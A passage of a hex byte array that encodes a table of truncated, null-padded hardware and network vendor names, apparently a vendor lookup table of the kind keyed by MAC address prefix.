0x61, 0x63, 0x68, 0x69, 0x62, 0x61, 0x6e,\r\n0x50, 0x69, 0x76, 0x6f, 0x74, 0x61, 0x6c, 0x54,\r\n0x43, 0x72, 0x65, 0x73, 0x63, 0x00, 0x00, 0x00,\r\n0x4c, 0x61, 0x6e, 0x6e, 0x65, 0x74, 0x44, 0x61,\r\n0x44, 0x61, 0x74, 0x61, 0x63, 0x6f, 0x6d, 0x54,\r\n0x53, 0x6f, 0x6e, 0x69, 0x63, 0x4d, 0x61, 0x63,\r\n0x41, 0x6e, 0x64, 0x6f, 0x76, 0x65, 0x72, 0x43,\r\n0x57, 0x69, 0x6e, 0x64, 0x61, 0x74, 0x61, 0x00,\r\n0x4e, 0x74, 0x74, 0x44, 0x61, 0x74, 0x61, 0x43,\r\n0x43, 0x6f, 0x6d, 0x73, 0x6f, 0x66, 0x74, 0x00,\r\n0x41, 0x73, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00,\r\n0x41, 0x64, 0x63, 0x2d, 0x47, 0x6c, 0x6f, 0x62,\r\n0x53, 0x69, 0x6c, 0x65, 0x78, 0x54, 0x65, 0x63,\r\n0x41, 0x64, 0x6f, 0x62, 0x65, 0x00, 0x00, 0x00,\r\n0x41, 0x65, 0x6f, 0x6e, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x75, 0x6a, 0x69, 0x45, 0x6c, 0x65, 0x63,\r\n0x50, 0x72, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x00,\r\n0x41, 0x73, 0x74, 0x50, 0x65, 0x6e, 0x74, 0x69,\r\n0x49, 0x6e, 0x76, 0x69, 0x73, 0x69, 0x62, 0x6c,\r\n0x49, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x6c, 0x6f, 0x72, 0x67, 0x72, 0x61,\r\n0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x63, 0x6f, 0x70,\r\n0x52, 0x61, 0x73, 0x74, 0x65, 0x72, 0x47, 0x72,\r\n0x4b, 0x6c, 0x65, 0x76, 0x65, 0x72, 0x43, 0x6f,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x00, 0x00,\r\n0x53, 0x6d, 0x63, 0x4d, 0x61, 0x73, 0x73, 0x61,\r\n0x4e, 0x65, 0x74, 0x63, 0x6f, 0x6d, 0x6d, 0x00,\r\n0x43, 0x6f, 0x6d, 0x70, 0x65, 0x78, 0x00, 0x00,\r\n0x43, 0x61, 0x6e, 0x6f, 0x67, 0x61, 0x2d, 0x50,\r\n0x54, 0x72, 0x69, 0x67, 0x65, 0x6d, 0x00, 0x00,\r\n0x49, 0x73, 0x69, 0x73, 0x44, 0x69, 0x73, 0x74,\r\n0x48, 0x61, 0x72, 0x72, 0x69, 0x73, 0x41, 0x64,\r\n0x58, 0x6c, 0x6e, 0x74, 0x44, 0x65, 0x73, 0x69,\r\n0x47, 0x6b, 0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74,\r\n0x4b, 0x6f, 0x6b, 0x75, 0x73, 0x61, 0x69, 0x45,\r\n0x41, 0x64, 0x64, 0x74, 0x72, 0x6f, 0x6e, 0x54,\r\n0x42, 0x75, 0x73, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x4f, 0x70, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00,\r\n0x5a, 0x6f, 0x6f, 0x6d, 0x54, 0x65, 0x6c, 0x65,\r\n0x53, 0x65, 0x61, 0x2d, 0x49, 0x6c, 0x61, 0x6e,\r\n0x54, 0x61, 0x6c, 0x65, 0x6e, 0x74, 0x45, 0x6c,\r\n0x4f, 0x70, 0x74, 0x65, 0x63, 0x44, 0x61, 0x69,\r\n0x49, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x54, 0x65,\r\n0x53, 0x79, 0x6e, 0x65, 0x72, 0x6a, 0x65, 0x74,\r\n0x46, 0x6f, 0x72, 0x6b, 0x73, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x72, 0x61, 0x64, 0x61, 0x74, 0x61,\r\n0x52, 0x61, 0x73, 0x74, 0x65, 0x72, 0x4f, 0x70,\r\n0x53, 0x73, 0x61, 0x6e, 0x67, 0x79, 0x6f, 0x6e,\r\n0x52, 0x69, 0x6e, 0x67, 0x41, 0x63, 0x63, 0x65,\r\n0x4e, 0x6f, 0x6b, 0x69, 0x61, 0x44, 0x61, 0x74,\r\n0x51, 0x6e, 0x69, 0x78, 0x43, 0x6f, 0x6d, 0x70,\r\n0x55, 0x64, 0x63, 0x52, 0x65, 0x73, 0x65, 0x61,\r\n0x57, 0x69, 0x6e, 0x64, 0x52, 0x69, 0x76, 0x65,\r\n0x53, 0x6d, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x72,\r\n0x57, 0x65, 0x73, 0x74, 0x41, 0x75, 0x73, 0x74,\r\n0x4d, 0x61, 0x70, 0x6c, 0x65, 0x43, 0x6f, 0x6d,\r\n0x48, 0x79, 0x70, 0x65, 0x72, 0x74, 0x65, 0x63,\r\n0x46, 0x6c, 0x75, 0x65, 0x6e, 0x74, 0x00, 0x00,\r\n0x53, 0x70, 0x61, 0x63, 0x65, 0x4e, 0x61, 0x76,\r\n0x49, 0x72, 0x6f, 0x6e, 0x69, 0x63, 0x73, 0x00,\r\n0x47, 0x72, 0x61, 0x63, 0x69, 0x6c, 0x69, 0x73,\r\n0x53, 0x74, 0x61, 0x72, 0x54, 0x65, 0x63, 0x68,\r\n0x41, 0x6d, 0x70, 0x72, 0x6f, 0x43, 0x6f, 0x6d,\r\n0x54, 0x68, 0x69, 0x6e, 0x6b, 0x69, 0x6e, 0x67,\r\n0x4d, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x78,\r\n0x4d, 0x63, 0x6d, 0x4a, 0x61, 0x70, 0x61, 0x6e,\r\n0x4b, 0x72, 0x6f, 0x6e, 0x6f, 0x73, 0x00, 0x00,\r\n0x59, 0x6f, 0x73, 0x68, 0x69, 0x64, 0x61, 0x4b,\r\n0x47, 0x6f, 0x6c, 0x64, 0x73, 0x74, 0x61, 0x72,\r\n0x46, 0x75, 0x6e, 0x61, 0x73, 0x73, 0x65, 0x74,\r\n0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x00, 0x00,\r\n0x53, 0x74, 0x61, 0x72, 0x2d, 0x54, 0x65, 0x6b,\r\n0x4e, 0x6f, 0x72, 0x74, 0x68, 0x48, 0x69, 0x6c,\r\n0x41, 0x66, 0x65, 0x43, 0x6f, 0x6d, 0x70, 0x75,\r\n0x43, 0x6f, 0x6d, 0x65, 0x6e, 0x64, 0x65, 0x63,\r\n0x44, 0x61, 0x74, 0x61, 0x74, 0x65, 0x63, 0x68,\r\n0x45, 0x2d, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d,\r\n0x4b, 0x6c, 0x61, 0x49, 0x6e, 0x73, 0x74, 0x72,\r\n0x47, 0x74, 0x65, 0x53, 0x70, 0x61, 0x63, 0x65,\r\n0x41, 0x70, 0x72, 0x65, 0x73, 0x69, 0x61, 0x00,\r\n0x4f, 0x6d, 0x6e, 0x69, 0x62, 0x79, 0x74, 0x65,\r\n0x45, 0x78, 0x74, 0x65, 0x6e, 0x64, 0x65, 0x64,\r\n0x4c, 0x65, 0x6d, 0x63, 0x6f, 0x6d, 0x00, 0x00,\r\n0x4b, 0x65, 0x6e, 0x74, 0x65, 0x6b, 0x49, 0x6e,\r\n0x53, 0x79, 0x73, 0x67, 0x65, 0x6e, 0x00, 0x00,\r\n0x43, 0x6f, 0x70, 0x65, 0x72, 0x6e, 0x69, 0x71,\r\n0x4c, 0x61, 0x6e, 0x63, 0x6f, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x72, 0x6f, 0x6c, 0x6c, 0x61, 0x72,\r\n0x53, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x73, 0x65,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x77, 0x61, 0x72,\r\n0x41, 0x74, 0x6d, 0x43, 0x6f, 0x6d, 0x70, 0x75,\r\n0x42, 0x61, 0x73, 0x73, 0x41, 0x73, 0x73, 0x6f,\r\n0x43, 0x61, 0x62, 0x6c, 0x65, 0x41, 0x6e, 0x64,\r\n0x53, 0x75, 0x6e, 0x43, 0x6f, 0x6e, 0x76, 0x65,\r\n0x4d, 0x61, 0x78, 0x74, 0x6f, 0x6e, 0x54, 0x65,\r\n0x57, 0x65, 0x61, 0x72, 0x6e, 0x65, 0x73, 0x41,\r\n0x4a, 0x75, 0x6b, 0x6f, 0x4d, 0x61, 0x6e, 0x75,\r\n0x53, 0x6f, 0x63, 0x69, 0x65, 0x74, 0x65, 0x44,\r\n0x51, 0x75, 0x6d, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,\r\n0x41, 0x74, 0x68, 0x65, 0x6e, 0x69, 0x78, 0x00,\r\n0x4c, 0x61, 0x62, 0x6f, 0x72, 0x61, 0x74, 0x6f,\r\n0x54, 0x64, 0x61, 0x49, 0x6e, 0x64, 0x75, 0x73,\r\n0x53, 0x61, 0x61, 0x62, 0x49, 0x6e, 0x73, 0x74,\r\n0x4d, 0x69, 0x63, 0x68, 0x65, 0x6c, 0x73, 0x4b,\r\n0x55, 0x62, 0x69, 0x74, 0x72, 0x65, 0x78, 0x00,\r\n0x4d, 0x6f, 0x62, 0x75, 0x69, 0x73, 0x4e, 0x75,\r\n0x4d, 0x65, 0x69, 0x64, 0x65, 0x6e, 0x73, 0x68,\r\n0x54, 0x70, 0x73, 0x54, 0x65, 0x6c, 0x65, 0x70,\r\n0x52, 0x61, 0x79, 0x6c, 0x61, 0x6e, 0x00, 0x00,\r\n0x41, 0x78, 0x69, 0x73, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x47, 0x6f, 0x6f, 0x64, 0x79, 0x65, 0x61, 0x72,\r\n0x57, 0x6d, 0x2d, 0x44, 0x61, 0x74, 0x61, 0x4d,\r\n0x41, 0x6e, 0x73, 0x65, 0x6c, 0x43, 0x6f, 0x6d,\r\n0x41, 0x73, 0x70, 0x43, 0x6f, 0x6d, 0x70, 0x75,\r\n0x50, 0x61, 0x78, 0x64, 0x61, 0x74, 0x61, 0x4e,\r\n0x53, 0x68, 0x6f, 0x67, 0x72, 0x61, 0x70, 0x68,\r\n0x52, 0x50, 0x54, 0x49, 0x6e, 0x74, 0x65, 0x72,\r\n0x41, 0x69, 0x72, 0x6f, 0x6e, 0x65, 0x74, 0x00,\r\n0x44, 0x61, 0x74, 0x65, 0x78, 0x44, 0x69, 0x76,\r\n0x44, 0x72, 0x65, 0x73, 0x73, 0x6c, 0x65, 0x72,\r\n0x4e, 0x65, 0x77, 0x67, 0x65, 0x6e, 0x00, 0x00,\r\n0x48, 0x61, 0x6c, 0x43, 0x6f, 0x6d, 0x70, 0x75,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x77, 0x61, 0x72,\r\n0x44, 0x69, 0x67, 0x69, 0x62, 0x6f, 0x61, 0x72,\r\n0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65,\r\n0x45, 0x72, 0x67, 0x6f, 0x43, 0x6f, 0x6d, 0x70,\r\n0x4b, 0x69, 0x6e, 0x67, 0x73, 0x74, 0x61, 0x72,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x75, 0x6e, 0x69,\r\n0x52, 0x6f, 0x73, 0x65, 0x45, 0x6c, 0x65, 0x63,\r\n0x43, 0x6c, 0x69, 0x6e, 0x69, 0x63, 0x6f, 0x6d,\r\n0x43, 0x72, 0x61, 0x79, 0x52, 0x65, 0x73, 0x65,\r\n0x49, 0x74, 0x61, 0x75, 0x74, 0x65, 0x63, 0x50,\r\n0x49, 0x6d, 0x66, 0x49, 0x6e, 0x74, 0x65, 0x72,\r\n0x56, 0x61, 0x6c, 0x6d, 0x65, 0x74, 0x41, 0x75,\r\n0x52, 0x6f, 0x6c, 0x61, 0x6e, 0x64, 0x44, 0x67,\r\n0x53, 0x75, 0x70, 0x65, 0x72, 0x57, 0x6f, 0x72,\r\n0x53, 0x6d, 0x61, 0x52, 0x65, 0x67, 0x65, 0x6c,\r\n0x44, 0x65, 0x6c, 0x74, 0x61, 0x43, 0x6f, 0x6e,\r\n0x42, 0x79, 0x74, 0x65, 0x78, 0x45, 0x6e, 0x67,\r\n0x43, 0x6f, 0x64, 0x6f, 0x6e, 0x69, 0x63, 0x73,\r\n0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x66, 0x6f,\r\n0x50, 0x61, 0x72, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x33, 0x63, 0x6f, 0x6d, 0x4b, 0x4b, 0x00, 0x00,\r\n0x56, 0x69, 0x64, 0x65, 0x6f, 0x54, 0x65, 0x63,\r\n0x53, 0x74, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x43,\r\n0x49, 0x64, 0x65, 0x61, 0x41, 0x73, 0x73, 0x6f,\r\n0x4d, 0x61, 0x63, 0x71, 0x45, 0x6c, 0x65, 0x63,\r\n0x41, 0x6c, 0x6c, 0x69, 0x61, 0x6e, 0x74, 0x43,\r\n0x42, 0x6f, 0x65, 0x69, 0x6e, 0x67, 0x44, 0x65,\r\n0x43, 0x68, 0x61, 0x6e, 0x6e, 0x65, 0x6c, 0x49,\r\n0x42, 0x69, 0x7a, 0x65, 0x72, 0x62, 0x61, 0x2d,\r\n0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x43,\r\n0x46, 0x69, 0x73, 0x63, 0x68, 0x65, 0x72, 0x41,\r\n0x4b, 0x69, 0x6e, 0x6b, 0x65, 0x69, 0x53, 0x79,\r\n0x4d, 0x69, 0x63, 0x6f, 0x6d, 0x43, 0x6f, 0x6d,\r\n0x46, 0x69, 0x62, 0x65, 0x72, 0x6e, 0x65, 0x74,\r\n0x4d, 0x69, 0x6c, 0x61, 0x6e, 0x54, 0x65, 0x63,\r\n0x4e, 0x63, 0x75, 0x62, 0x65, 0x00, 0x00, 0x00,\r\n0x4c, 0x61, 0x6e, 0x77, 0x61, 0x6e, 0x54, 0x65,\r\n0x53, 0x69, 0x6c, 0x63, 0x6f, 0x6d, 0x4d, 0x61,\r\n0x54, 0x65, 0x72, 0x61, 0x4d, 0x69, 0x63, 0x72,\r\n0x4e, 0x65, 0x74, 0x2d, 0x53, 0x6f, 0x75, 0x72,\r\n0x46, 0x75, 0x6b, 0x75, 0x64, 0x61, 0x44, 0x65,\r\n0x50, 0x61, 0x67, 0x69, 0x6e, 0x65, 0x00, 0x00,\r\n0x4b, 0x69, 0x6d, 0x70, 0x73, 0x69, 0x6f, 0x6e,\r\n0x47, 0x61, 0x67, 0x65, 0x54, 0x61, 0x6c, 0x6b,\r\n0x53, 0x61, 0x72, 0x74, 0x6f, 0x72, 0x69, 0x75,\r\n0x4c, 0x6f, 0x63, 0x61, 0x6d, 0x61, 0x74, 0x69,\r\n0x53, 0x74, 0x75, 0x64, 0x69, 0x6f, 0x47, 0x65,\r\n0x4f, 0x63, 0x65, 0x61, 0x6e, 0x4f, 0x66, 0x66,\r\n0x54, 0x65, 0x6c, 0x73, 0x70, 0x65, 0x63, 0x00,\r\n0x54, 0x72, 0x69, 0x74, 0x65, 0x63, 0x45, 0x6c,\r\n0x48, 0x6f, 0x6e, 0x67, 0x54, 0x65, 0x63, 0x68,\r\n0x45, 0x6c, 0x73, 0x61, 0x67, 0x44, 0x61, 0x74,\r\n0x44, 0x69, 0x67, 0x61, 0x6c, 0x6f, 0x67, 0x00,\r\n0x41, 0x74, 0x6f, 0x6d, 0x77, 0x69, 0x64, 0x65,\r\n0x4d, 0x61, 0x72, 0x6e, 0x65, 0x72, 0x49, 0x6e,\r\n0x4d, 0x65, 0x73, 0x61, 0x52, 0x69, 0x64, 0x67,\r\n0x51, 0x75, 0x69, 0x6e, 0x00, 0x00, 0x00, 0x00,\r\n0x45, 0x2d, 0x4d, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x53, 0x79, 0x62, 0x75, 0x73, 0x00, 0x00, 0x00,\r\n0x43, 0x41, 0x45, 0x4e, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x72, 0x6e, 0x6f, 0x73, 0x49, 0x6e, 0x73,\r\n0x43, 0x68, 0x61, 0x72, 0x6c, 0x65, 0x73, 0x52,\r\n0x41, 0x63, 0x63, 0x6f, 0x72, 0x64, 0x00, 0x00,\r\n0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x72, 0x65,\r\n0x4d, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x4d, 0x61,\r\n0x4d, 0x69, 0x6b, 0x61, 0x73, 0x61, 0x53, 0x79,\r\n0x4f, 0x70, 0x74, 0x69, 0x6d, 0x65, 0x6d, 0x00,\r\n0x48, 0x79, 0x70, 0x65, 0x72, 0x63, 0x6f, 0x6d,\r\n0x43, 0x68, 0x75, 0x6f, 0x45, 0x6c, 0x65, 0x63,\r\n0x4a, 0x61, 0x6e, 0x69, 0x63, 0x68, 0x4b, 0x6c,\r\n0x4e, 0x65, 0x74, 0x63, 0x6f, 0x72, 0x00, 0x00,\r\n0x4f, 0x65, 0x6d, 0x45, 0x6e, 0x67, 0x69, 0x6e,\r\n0x4b, 0x61, 0x74, 0x72, 0x6f, 0x6e, 0x43, 0x6f,\r\n0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x68, 0x61,\r\n0x43, 0x6f, 0x6d, 0x62, 0x69, 0x6e, 0x65, 0x74,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x62, 0x6f, 0x61,\r\n0x43, 0x61, 0x73, 0x63, 0x61, 0x64, 0x65, 0x43,\r\n0x49, 0x62, 0x72, 0x43, 0x6f, 0x6d, 0x70, 0x75,\r\n0x4c, 0x78, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x79, 0x6d, 0x70, 0x6c, 0x65, 0x78, 0x43,\r\n0x54, 0x65, 0x6c, 0x65, 0x62, 0x69, 0x74, 0x43,\r\n0x57, 0x75, 0x78, 0x69, 0x5a, 0x68, 0x6f, 0x6e,\r\n0x52, 0x6c, 0x78, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4b, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x53, 0x52,\r\n0x56, 0x65, 0x72, 0x73, 0x75, 0x73, 0x54, 0x65,\r\n0x41, 0x6e, 0x64, 0x6f, 0x6e, 0x48, 0x65, 0x61,\r\n0x52, 0x65, 0x61, 0x6c, 0x74, 0x65, 0x6b, 0x00,\r\n0x50, 0x69, 0x6e, 0x65, 0x54, 0x65, 0x63, 0x68,\r\n0x4e, 0x65, 0x78, 0x6f, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x59, 0x61, 0x6d, 0x61, 0x73, 0x68, 0x69, 0x74,\r\n0x4f, 0x6d, 0x6e, 0x69, 0x73, 0x65, 0x63, 0x00,\r\n0x58, 0x72, 0x69, 0x74, 0x65, 0x00, 0x00, 0x00,\r\n0x54, 0x69, 0x76, 0x61, 0x4d, 0x69, 0x63, 0x72,\r\n0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x42,\r\n0x49, 0x72, 0x69, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x45, 0x2d, 0x54, 0x65, 0x6b, 0x4c, 0x61, 0x62,\r\n0x53, 0x61, 0x74, 0x6f, 0x72, 0x69, 0x45, 0x6c,\r\n0x4e, 0x6f, 0x76, 0x61, 0x6e, 0x65, 0x74, 0x4c,\r\n0x43, 0x62, 0x6c, 0x2d, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x65, 0x61, 0x67, 0x61, 0x74, 0x65, 0x43,\r\n0x42, 0x72, 0x69, 0x67, 0x68, 0x74, 0x53, 0x74,\r\n0x4d, 0x6f, 0x6c, 0x65, 0x78, 0x43, 0x61, 0x6e,\r\n0x52, 0x73, 0x72, 0x53, 0x52, 0x4c, 0x00, 0x00,\r\n0x41, 0x6d, 0x69, 0x74, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x70, 0x72, 0x69, 0x6e, 0x67, 0x54, 0x69,\r\n0x49, 0x71, 0x69, 0x6e, 0x76, 0x69, 0x73, 0x69,\r\n0x41, 0x62, 0x6c, 0x43, 0x61, 0x6e, 0x61, 0x64,\r\n0x4a, 0x61, 0x74, 0x6f, 0x6d, 0x00, 0x00, 0x00,\r\n0x47, 0x72, 0x61, 0x73, 0x73, 0x56, 0x61, 0x6c,\r\n0x4d, 0x72, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x65, 0x64, 0x69, 0x61, 0x73, 0x74, 0x61,\r\n0x45, 0x69, 0x73, 0x49, 0x6e, 0x74, 0x65, 0x72,\r\n0x5a, 0x6f, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63,\r\n0x50, 0x67, 0x44, 0x65, 0x73, 0x69, 0x67, 0x6e,\r\n0x4e, 0x61, 0x76, 0x69, 0x63, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d,\r\n0x47, 0x65, 0x6e, 0x69, 0x63, 0x6f, 0x6d, 0x00,\r\n0x41, 0x76, 0x61, 0x6c, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x31, 0x33, 0x39, 0x34, 0x50, 0x72, 0x69, 0x6e,\r\n0x47, 0x65, 0x6e, 0x72, 0x61, 0x64, 0x00, 0x00,\r\n0x53, 0x6f, 0x79, 0x6f, 0x43, 0x6f, 0x6d, 0x70,\r\n0x41, 0x63, 0x63, 0x65, 0x6c, 0x00, 0x00, 0x00,\r\n0x43, 0x61, 0x6d, 0x62, 0x65, 0x78, 0x00, 0x00,\r\n0x54, 0x6f, 0x6c, 0x6c, 0x62, 0x72, 0x69, 0x64,\r\n0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x50, 0x6c,\r\n0x41, 0x65, 0x72, 0x6f, 0x66, 0x6c, 0x65, 0x78,\r\n0x50, 0x69, 0x63, 0x61, 0x7a, 0x6f, 0x43, 0x6f,\r\n0x4d, 0x61, 0x79, 0x61, 0x6e, 0x4e, 0x65, 0x74,\r\n0x4e, 0x65, 0x74, 0x63, 0x61, 0x6d, 0x00, 0x00,\r\n0x4b, 0x6f, 0x67, 0x61, 0x45, 0x6c, 0x65, 0x63,\r\n0x44, 0x61, 0x69, 0x6e, 0x54, 0x65, 0x6c, 0x65,\r\n0x4d, 0x61, 0x72, 0x69, 0x6e, 0x65, 0x72, 0x4e,\r\n0x44, 0x61, 0x74, 0x6f, 0x6e, 0x67, 0x45, 0x6c,\r\n0x4d, 0x65, 0x64, 0x69, 0x61, 0x66, 0x69, 0x72,\r\n0x41, 0x6e, 0x63, 0x68, 0x6f, 0x72, 0x47, 0x61,\r\n0x43, 0x6f, 0x72, 0x65, 0x74, 0x72, 0x6f, 0x6e,\r\n0x53, 0x63, 0x69, 0x4d, 0x61, 0x6e, 0x75, 0x66,\r\n0x4d, 0x61, 0x72, 0x76, 0x65, 0x6c, 0x6c, 0x53,\r\n0x41, 0x73, 0x61, 0x63, 0x61, 0x00, 0x00, 0x00,\r\n0x52, 0x69, 0x6f, 0x77, 0x6f, 0x72, 0x6b, 0x73,\r\n0x4d, 0x65, 0x6e, 0x69, 0x63, 0x78, 0x49, 0x6e,\r\n0x49, 0x6e, 0x66, 0x6f, 0x6c, 0x69, 0x62, 0x72,\r\n0x41, 0x72, 0x62, 0x6f, 0x72, 0x4e, 0x65, 0x74,\r\n0x45, 0x6c, 0x74, 0x65, 0x63, 0x6f, 0x41, 0x53,\r\n0x42, 0x61, 0x72, 0x63, 0x6f, 0x6e, 0x65, 0x74,\r\n0x47, 0x61, 0x6c, 0x69, 0x6c, 0x4d, 0x6f, 0x74,\r\n0x54, 0x6f, 0x6b, 0x79, 0x6f, 0x45, 0x6c, 0x65,\r\n0x53, 0x69, 0x65, 0x72, 0x72, 0x61, 0x4d, 0x6f,\r\n0x4f, 0x6c, 0x65, 0x6e, 0x63, 0x6f, 0x6d, 0x45,\r\n0x49, 0x77, 0x61, 0x74, 0x73, 0x75, 0x45, 0x6c,\r\n0x54, 0x69, 0x61, 0x72, 0x61, 0x4e, 0x65, 0x74,\r\n0x44, 0x6f, 0x6d, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x61, 0x6e, 0x67, 0x6f, 0x6d, 0x61, 0x54,\r\n0x49, 0x62, 0x61, 0x68, 0x6e, 0x00, 0x00, 0x00,\r\n0x54, 0x75, 0x6e, 0x64, 0x6f, 0x00, 0x00, 0x00,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x65, 0x6b, 0x4d,\r\n0x42, 0x72, 0x61, 0x6e, 0x64, 0x49, 0x6e, 0x6e,\r\n0x4b, 0x6f, 0x75, 0x77, 0x65, 0x6c, 0x6c, 0x45,\r\n0x4f, 0x79, 0x43, 0x6f, 0x6d, 0x73, 0x65, 0x6c,\r\n0x43, 0x61, 0x65, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x41, 0x74, 0x65, 0x63, 0x6f, 0x6d, 0x41, 0x64,\r\n0x41, 0x65, 0x72, 0x6f, 0x63, 0x6f, 0x6d, 0x6d,\r\n0x50, 0x69, 0x78, 0x73, 0x74, 0x72, 0x65, 0x61,\r\n0x45, 0x64, 0x65, 0x76, 0x61, 0x00, 0x00, 0x00,\r\n0x53, 0x70, 0x78, 0x2d, 0x41, 0x74, 0x65, 0x67,\r\n0x42, 0x65, 0x69, 0x6a, 0x65, 0x72, 0x45, 0x6c,\r\n0x56, 0x69, 0x64, 0x65, 0x6f, 0x6a, 0x65, 0x74,\r\n0x43, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x45, 0x6e,\r\n0x47, 0x2d, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63,\r\n0x43, 0x68, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x63,\r\n0x41, 0x69, 0x77, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x72, 0x76, 0x69, 0x73, 0x00, 0x00,\r\n0x4b, 0x65, 0x73, 0x74, 0x72, 0x65, 0x6c, 0x53,\r\n0x50, 0x72, 0x6f, 0x6c, 0x69, 0x66, 0x69, 0x63,\r\n0x4d, 0x65, 0x67, 0x61, 0x74, 0x6f, 0x6e, 0x48,\r\n0x4d, 0x65, 0x72, 0x6c, 0x6f, 0x74, 0x43, 0x6f,\r\n0x56, 0x69, 0x64, 0x65, 0x6f, 0x63, 0x6f, 0x6e,\r\n0x49, 0x66, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x65, 0x77, 0x65, 0x72, 0x54, 0x65, 0x63,\r\n0x46, 0x6f, 0x72, 0x65, 0x73, 0x73, 0x6f, 0x6e,\r\n0x47, 0x69, 0x6c, 0x62, 0x61, 0x72, 0x63, 0x6f,\r\n0x41, 0x74, 0x6c, 0x50, 0x72, 0x6f, 0x64, 0x75,\r\n0x54, 0x65, 0x6c, 0x6b, 0x6f, 0x6d, 0x53, 0x61,\r\n0x54, 0x65, 0x72, 0x61, 0x73, 0x61, 0x6b, 0x69,\r\n0x41, 0x6d, 0x61, 0x6e, 0x6f, 0x00, 0x00, 0x00,\r\n0x53, 0x61, 0x66, 0x65, 0x74, 0x79, 0x4d, 0x61,\r\n0x52, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x62, 0x69, 0x74, 0x43, 0x6f, 0x6d, 0x70,\r\n0x4f, 0x70, 0x74, 0x69, 0x6d, 0x61, 0x74, 0x69,\r\n0x41, 0x73, 0x69, 0x74, 0x61, 0x54, 0x65, 0x63,\r\n0x44, 0x63, 0x74, 0x72, 0x69, 0x00, 0x00, 0x00,\r\n0x4e, 0x65, 0x74, 0x61, 0x63, 0x63, 0x65, 0x73,\r\n0x52, 0x69, 0x67, 0x61, 0x6b, 0x75, 0x4f, 0x73,\r\n0x50, 0x65, 0x72, 0x61, 0x63, 0x6f, 0x6d, 0x4e,\r\n0x53, 0x61, 0x6c, 0x69, 0x78, 0x54, 0x65, 0x63,\r\n0x4d, 0x6d, 0x63, 0x2d, 0x45, 0x6d, 0x62, 0x65,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x6f, 0x6f,\r\n0x54, 0x61, 0x67, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x53, 0x77, 0x69, 0x74, 0x63, 0x68, 0x63, 0x6f,\r\n0x42, 0x65, 0x74, 0x61, 0x52, 0x65, 0x73, 0x65,\r\n0x49, 0x6e, 0x64, 0x75, 0x73, 0x74, 0x72, 0x65,\r\n0x4c, 0x65, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x48, 0x6f, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x43,\r\n0x44, 0x65, 0x6c, 0x74, 0x61, 0x43, 0x6f, 0x6d,\r\n0x54, 0x72, 0x61, 0x6e, 0x73, 0x6d, 0x65, 0x64,\r\n0x49, 0x6f, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x43, 0x61, 0x70, 0x69, 0x74, 0x6f, 0x6c, 0x42,\r\n0x4f, 0x70, 0x65, 0x6e, 0x63, 0x6f, 0x6e, 0x00,\r\n0x4d, 0x6f, 0x6c, 0x64, 0x61, 0x74, 0x57, 0x69,\r\n0x4e, 0x61, 0x6c, 0x74, 